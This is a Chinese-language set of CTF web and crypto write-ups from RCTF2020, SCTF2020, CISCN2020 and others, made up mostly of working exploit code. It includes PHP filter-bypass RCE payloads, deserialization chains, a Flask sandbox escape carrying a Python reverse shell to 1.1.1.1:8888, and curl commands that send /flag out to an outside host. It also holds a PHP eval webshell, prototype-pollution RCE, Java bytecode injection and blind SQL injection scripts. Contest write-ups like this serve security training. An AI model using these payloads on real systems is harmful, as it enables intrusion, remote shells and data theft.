List [CTL]
RCTF2020
mysql_interface
需要一个SQL语句,在tidb的sql parser看来有语法错误,但能成功在MySQL执行
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
很容易想到注释符--[char]
,ascii < 127的不可见字符基本都可以用,FUZZ一下
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
var err error
if _, _, err = parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}
var db, _ = sql.Open("mysql", "root:root@tcp(127.0.0.1)/security")
func query(s string, c byte) {
_, err := db.Exec(fmt.Sprintf(s, c))
if err == nil {
fmt.Printf("%d ", c)
}
}
func main() {
s := "SELECT flag from flag --%c1+1"
for c := 1; c < 256; c++ {
if allow(fmt.Sprintf(s, byte(c))) {
query(s, byte(c))
}
}
}
以下都可
1 2 3 4 5 6 7 8 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 127
calc
PHP7.4环境,ban掉的字符
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
还剩下
! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
想办法构造出字母即可利用PHP动态调用执行函数
php > var_dump((99**99).NULL);
string(20) "3.6972963764973E+197"
php > var_dump((99**99).(1){0});
PHP Notice: Trying to access array offset on value of type int in php shell code on line 1
string(20) "3.6972963764973E+197"
php > var_dump((99**99).(1));
string(21) "3.6972963764973E+1971"
php > var_dump((999**999).(1){0});
PHP Notice: Trying to access array offset on value of type int in php shell code on line 1
string(3) "INF"
可以构造出E I N F 0-9 - + .
等符号,通过位运算扩展出所有字母。然后通过system(end(getallheaders()))
即可RCE
import string
origin = ['E', 'N', '+', '-', 'I', 'N', 'F', '.'] + list('0123456789')
c = {
'E': '(((99**99).(1){0}){15})',
'.': '(((99**99).(1){0}){1})',
'+': '(((99**99).(1){0}){16})',
'-': '(((~1).(1){0}){0})',
'I': '(((999**999).(1){0}){0})',
'N': '(((999**999).(1){0}){1})',
'F': '(((999**999).(1){0}){2})',
'0': '((0).(1){0})',
'1': '((1).(1){0})',
'2': '((2).(1){0})',
'3': '((3).(1){0})',
'4': '((4).(1){0})',
'5': '((5).(1){0})',
'6': '((6).(1){0})',
'7': '((7).(1){0})',
'8': '((8).(1){0})',
'9': '((9).(1){0})',
}
loop = 100
while loop > 0:
for i in origin:
for j in origin:
t = chr(ord(i) & ord(j))
if t not in origin:
origin.append(t)
c[t] = '('+ c[i] + '&' + c[j]+')'
t = chr(ord(i) | ord(j))
if t not in origin:
origin.append(t)
c[t] = '(' + c[i] + '|' + c[j]+')'
loop -= 1
cc = {}
for i in c:
cc[i.upper()] = c[i]
def cons(s):
output = ['(']
for i in s:
output.append(cc[i])
output.append('.')
return ''.join(output)[:-1] + ')'
gah = cons('GETALLHEADERS')
pos = cons('END')
s = cons('SYSTEM')
print(f'{s}({pos}({gah}()))')
RCE后是readflag验证码,服务器不能出网,用了原来的一个PHP脚本
import requests
url = 'http://124.156.140.90:8081/calc.php'
# ! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
n = '((((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).((((999**999).(1){0}){0})|((0).(1){0})).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((99**99).(1){0}){15})|(((999**999).(1){0}){0})))(((((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((999**999).(1){0}){1})|(((99**99).(1){0}){1})).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))))((((((999**999).(1){0}){2})|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((999**999).(1){0}){1})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))))()))'
import base64
a = b"""<?php
$d=array(
0=>array("pipe","r"),
1=>array("pipe","w"),
2=>array("pipe","w")
);
$p=proc_open("/readflag",$d,$pipes);
$data=fread($pipes[1],65535);
$data=fread($pipes[1],65535);
$calc=$data;
echo "return ".$calc.";";
$res=eval("return ".$calc.";");
$data=fread($pipes[1],65535);
fwrite($pipes[0],$res);
fclose($pipes[0]);
var_dump(stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($p);"""
a = base64.b64encode(a).decode()
r = requests.get(url, params={'num': n}, headers={'X': 'echo '+a+'|base64 -d|php'})
print(r.text)
swoole
赛时Rogue MySQL的payload基本构造完了,除了没找到调用ConnectionPool -> get
的入口(读了两遍源码还是没有头绪,因为就只知道通过字符串动态调用,在无法传递参数的情况下,只能是在destruct方法中,找了一圈没有可利用的,又猜测是swoole的hook会隐式调用某些C函数)
$a = unserialize($code);
$a();
赛后看WP才明白,完全就是因为不知道可以通过invoke数组来调用类方法
PHP7的动态函数(?还有更奇葩的语法吗):
class A {
function foo() {
echo "foo\n";
}
}
$f = "A::foo";
$f();
$f = ['A', 'foo'];
$f();
$f = [new A, 'foo'];
$f();
copy所有类,修改成员为public
Nu1l的非预期
利用CurlHandler中的readFunction callback来执行
if ($client->body and $this->readFunction) {
$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));
}
如果题目没有SWOOLE_HOOK_ALL
的话,其实这样就行了
$o = new Handler('https://swoole.rctf2020.rois.io');
$o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
$o -> setOpt(CURLOPT_FILE, "exec");
$o -> foo = 'whoami';
/*
array_walk(['foo' => 'whoami'], 'exec', 9);
exec('whoami', 0, 9);
*/
但exec被swoole_exec
替换,当执行失败会直接抛fatal error
再套一层
$o = new Handler('https://swoole.rctf2020.rois.io');
$o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
$o -> setOpt(CURLOPT_FILE, "array_walk");
$o -> exec = array('curl 1.1.1.1:8888/`cat /flag`');
echo urlencode(serialize([$o, 'exec']));
/*
array_walk(
['exec' => [0 => 'whoami']],
'array_walk', 9,
)
array_walk([0 => 'whoami'], 'exec', 9);
*/
预期解
通过MySQL local infile
namespace Swoole;
$o = new ConnectionPool;
$o -> pool = new \SplQueue;
$o -> num = 0;
$o -> size = 20;
$o -> proxy = '\Swoole\Database\PDOPool';
$o -> proxy -> host = '1.1.1.1';
$o -> proxy -> options = [
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
];
$o -> constructor = new \Swoole\Database\PDOConfig;
$p = new \Swoole\Database\PDOProxy;
$p -> constructor = [$o, 'get'];
$c = new \Swoole\Curl\Handler('https://swoole.rctf2020.rois.io/');
$c -> postData = '123';
$c -> headerFunction = [$p, 'reconnect'];
$c -> readFunction = [$p, 'get'];
echo urlencode(serialize([$c, 'exec']));
第五空间智能安全大赛
hate-php
异或构造,动态调用
http://121.36.74.163/?code=((%b4%b4%b4%b4%b4%b4)^(%c7%cd%c7%c0%d1%d9))((%80%80%80%80%80%80%80%80%80%80%94%a3)^(%e3%e1%f4%a0%e6%ec%e1%e7%ae%f0%fc%d3))
zzm’s blog
Java mysql-connector反序列化,有CC3.2
利用jackson2.9.8漏洞触发
import requests
r = requests.get('http://121.36.46.83/', params={'query': """{"id":0,"Title":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://IP:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=evil"]}"""})
服务端使用https://github.com/fnmsd/MySQL_Fake_Server
监听
rosb
共模攻击
from libnum import n2s,s2n
from gmpy2 import invert
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def main():
n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb
e1 = 0xf4c1158f
e2 = 0xf493f7d1
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)
m = pow(c1,s1,n)*pow(c2,s2,n) % n
print(n2s(m))
if __name__ == '__main__':
main()
tinysocks
SS重定向攻击,只写了sslocal到ssserver的部分,所以看起来是个四不像
建议出题人认真补补密码学和Socket编程,写的什么东西
题目是CFB-mode,提示了fake HTTPS,所以响应前7-byte是HTTP/1.
。运行exp.go,服务端监听即可解密除第一个分组外的所有密文
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha256"
"encoding/hex"
"net"
"os"
)
func calcIV(bs []byte) []byte {
x := []byte("HTTP/1.")
iv := []byte{}
for i := 0; i < 7; i++ {
iv = append(iv, x[i]^bs[i])
}
return iv
}
func cc() cipher.Stream {
sha := sha256.New()
sha.Write([]byte(os.Getenv("passwd")))
key := sha.Sum(nil)[:aes.BlockSize]
iv := [aes.BlockSize]byte{}
block, _ := aes.NewCipher(key)
stream := cipher.NewCFBDecrypter(block, iv[:])
return stream
}
func str2bs(s string) []byte {
bs, _ := hex.DecodeString(s)
return bs
}
func exp(bs []byte) {
// buf := []byte{1, 127, 0, 0, 1, 0, 77}
stream := cc()
stream.XORKeyStream(buf, buf)
t := "121.36.47.205:1080"
// t = "127.0.0.1:9999"
buf := []byte{1, 127, 0, 0, 1, 0, 80}
tmp := calcIV(bs[:7])
for i := 0; i < 7; i++ {
buf[i] = buf[i] ^ tmp[i]
}
conn, _ := net.Dial("tcp", t)
conn.Write(append(buf, bs[7:]...))
}
const (
b1 = "f2dec146b57a4684ce5772f4925f52c2742e0e4ca332f2fd1d5432c6907d92d73dad3c8bb091d806d7ece12ef85499c522a13c0e439469248b5beae50d642d438109c4dde4a8b35294961b4e0367be8e1d40b87f7fd9af4a5691e8df638c57e4b65a65b3b84e24597c798f6a1afd93a771b0ae6768b349701f477a2aa7d88d28d5b53134e428a4d873e4b4808e3ef235a261cebfbbac003d4385f52aadc5eebfab051ef65613432bc15667edb54ded61e8e2935b9b46b24a0c5655db6780a9e2bacda2299a938a05d29eee3a6c198163c280aa20af321a0ef9693f9939f45953294396793c0bbe310c5b551b5515911745312eb7bd67e0638bea3a66079c4d2c3aa9dbd9eba7f3c7a5caf6af2886cd64670387914a36a3be1d0c33b92b001801a133cba5ce838e555bd17038ba83633c"
)
func main() {
exp(str2bs(b1))
}
SCTF2020
koa-body
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');
const app = new Koa();
const router = new Router();
const SECRET = "?"
app.use(koaBody({
multipart: true,
formidable: {
maxFileSize: 2000 * 1024 * 1024
}
}));
router.post('/uploadfile', async (ctx, next) => {
console.log(ctx.request.files);
const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
} catch (e) {
console.log(e)
return ctx.body = "SCTF{no_such_file_~}"
}
});
router.get('/', async (ctx, next) => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('index.html');
});
app.use(router.routes());
app.listen(3333, () => {
console.log('This server is running at port: 3333')
})
看一遍代码是找不到漏洞点的
本地启动报错,没有ctx.request.body.files
属性,搜素koa-body的issue:https://github.com/dlau/koa-body/issues/75
curl "http://120.79.1.217:7777/uploadfile" -X POST -H "Content-Type: application/json" -d "{\"files\":{\"file\":{\"name\":\"lol\",\"path\":\"flag\"}}}"
curl http://120.79.1.217:7777/downloadfile/d6efd331bdba815061af398380e35d22
pysandbox 1&2
两道Python沙盒逃逸
@app.route('/', methods=["POST"])
def security():
print(request.__dict__)
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"
exec(secret)
return "xXXxXXx"
可用字符:
* + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y
没有括号意味着无法直接调用函数
第一关通过修改app._static_folder
为/
def chal1():
poc1 = 'app._static_folder=app.root_path[0]'
r= requests.post(url, data={'cmd': poc1})
print(r.text)
r= requests.get(url + '/static/etc/passwd')
print(r.text)
第二关通过Flask自带的回调来替我们执行函数
在Flask.make_config
def make_config(self, instance_relative=False):
"""Used to create the config attribute by the Flask constructor.
The `instance_relative` parameter is passed in from the constructor
of Flask (there named `instance_relative_config`) and indicates if
the config should be relative to the instance path or the root path
of the application.
.. versionadded:: 0.8
"""
root_path = self.root_path
if instance_relative:
root_path = self.instance_path
defaults = dict(self.default_config)
defaults['ENV'] = get_env()
defaults['DEBUG'] = get_debug_flag()
return self.config_class(root_path, defaults)
注册flask hook函数before_request
,被ban的字符通过request.url
传递,header会被存在request.environ
def chal2():
poc2 = 'app.root_path=request.environ[request.url[-6:]];app.config_class=exec;app.before_request_funcs[None]=[app.make_config]'
r = requests.post(url + '/?HTTP_X', data={'cmd': poc2}, headers={'X': "import socket,os,subprocess;host='1.1.1.1';port=8888;s=socket.socket();s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.dup2(s.fileno(),3);shell=subprocess.call(['/bin/bash','-i']);"})
print(r.text)
CISCN2020初赛
easyphp
?a=call_user_func&b=pcntl_waitpid
babyunserialize
<?php
namespace DB;
//! In-memory/flat-file DB wrapper
class Jig {
//@{ Storage formats
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
//@}
protected
//! UUID
$uuid,
//! Storage location
$dir,
//! Current storage format
$format,
//! Jig log
$log,
//! Memory-held data
$data,
//! lazy load/save files
$lazy;
function __construct() {
$this->lazy = 1;
$this->data= ["tt.php" => ['<?php eval($_REQUEST[\'sss\']) ?>']];
$this->format = 0;
$this->dir = './';
}
}
$o = new Jig();
echo urlencode(serialize($o));
后续PHP7-JSON exp绕disable_functions
littlegame
set-value@3.0.0
原型链污染
import requests
s = requests.Session()
url = 'http://eci-2ze4mvter6u3quxbrze6.cloudeci1.ichunqiu.com:8888'
p = {'http': 'http://web-proxy.oa.com:8080'}
t = s.get(url + '/SpawnPoint', proxies=p).text
print(t)
t = s.post(url + '/Privilege', proxies=p, data={'NewAttributeKey': '__proto__.password', 'NewAttributeValue': 'aaa'}).text
print(t)
t = s.post(url + '/DeveloperControlPanel', proxies=p, data={'key': 'password', 'password': 'aaa'}).text
print(t)
rceme
seacms RCE + PHP7
?a={if:('sys'.'tem')('cat /flag')}x{end if}
easy_trick
fuzz了一遍有__toString
的内置类没找到,忘了INF和NAN
the_best_ctf_game
import string
print(''.join([i for i in open('flag', 'rb').read().decode(errors='ignore') if i in string.digits + string.ascii_lowercase + '-{}']))
CISCN2020华东北分区赛
Web3
配置错误访问flag.php
Web4
读文件
exp = """T\u0000(java . nio . file . Files) . readAllLines(T\u0000(java . nio . file . Paths).get\u0000('/flag.txt'), T\u0000(java.nio.charset.Charset).defaultCharset\u0000())"""
开始没想到是/flag.txt,以为要RCE,命令执行又被RASP ban
换个payload,加载字节码执行
exp = """T\u0000(org.springframework.cglib.core.ReflectUtils).defineClass('II2',T\u0000(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQASQoAEgAiCAAjBwAkCgADACUKAAMAJgoAAwAnBwAoCAApCgAHACoKAAcAKwoABwAsCgAtAC4KAC8AMAgAMQoAAwAyBwAzBwA0BwA1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcANgcAJAcANwcAOAcAKAcAOQcAMwEAClNvdXJjZUZpbGUBAAhJSTIuamF2YQwAEwAUAQAOMTE2LjYyLjE4MS4xMDABAA9qYXZhL25ldC9Tb2NrZXQMABMAOgwAOwA8DAA9AD4BAAxqYXZhL2lvL0ZpbGUBAAEvDAATAD8MAEAAQQwAQgBDBwA2DABEAEUHADgMAEYARwEAAQoMAEgAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAANJSTIBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABRqYXZhL2lvL091dHB1dFN0cmVhbQEAD1tMamF2YS9pby9GaWxlOwEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAPZ2V0T3V0cHV0U3RyZWFtAQAYKClMamF2YS9pby9PdXRwdXRTdHJlYW07AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJbGlzdEZpbGVzAQARKClbTGphdmEvaW8vRmlsZTsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAAUoW0IpVgEABWNsb3NlACEAEQASAAAAAAACAAEAEwAUAAEAFQAAAB0AAQABAAAABSq3AAGxAAAAAQAWAAAABgABAAAABgAIABcAFAABABUAAADsAAQACgAAAGoSAksRHmE8uwADWSobtwAETSy2AAVOLLYABjoEuwAHWRIItwAJOgUZBbYACjoGGQa+NgcDNggVCBUHogAnGQYVCDI6CRkEGQm2AAu2AAy2AA0ZBBIOtgAMtgANhAgBp//YLLYAD6cABEuxAAEAAABlAGgAEAACABYAAAA2AA0AAAAJAAMACgAHAAsAEQAMABYADQAcAA8AJwAQAEQAEQBRABIAWwAQAGEAFABlABUAaQAWABgAAAAsAAT/ADYACQcAGQEHABoHABsHABwHAB0HAB4BAQAA+AAq/wAGAAAAAQcAHwAAAQAgAAAAAgAh'),T\u0000(org.springframework.util.ClassUtils).getDefaultClassLoader())"""
列目录后读文件
Web7
nginx配置错误 -> 文件读取
/static../app.js
express-fileupload@1.1.7-alpha.4原型链污染,结合ejs RCE
import requests
url = 'http://172.20.16.107'
r = requests.post(url, files={'__proto__.outputFunctionName': (None, """_tmppp; global.process.mainModule.require('child_process').execSync('curl IP:7777/ -d `cat /flag.txt`'); ___tmp""")})
r = requests.get(url)
print(r.text)
DAY2
全是阴间题目,尤其是那个ssrf.php和g2mtu
CISCN2020决赛
Web1_ezsql
import requests
import codecs
import string
url = 'http://172.1.28.10/'
flag = ''
for i in range(1, 64):
for w in string.ascii_letters+string.digits+'-{}':
p = '1/*'
l = f'1*/and\n(select\nflag\nfrom\nreal_flag)\nregexp\n0x{codecs.encode(("^"+flag+w).encode(),"hex").decode()}'
r = requests.get(url, params={'id': p, 'limit': l})
if 'this_is_a_fake_flag' in r.text:
flag += w
break
print(flag)
Web2_MonsterBattle
关键数据放在全局变量里(奇葩),开始以为要竞态条件无限加血
原型链污染修改buff属性
POST /start HTTP/1.1
Host: 172.1.28.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.1.28.11/start
Content-Type: application/json
Content-Length: 94
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
{"name":"iv4n","round_to_use":2,"career":"high_priest","item":"ZLYG","__proto__":{"buff":999}}
然后请求/battle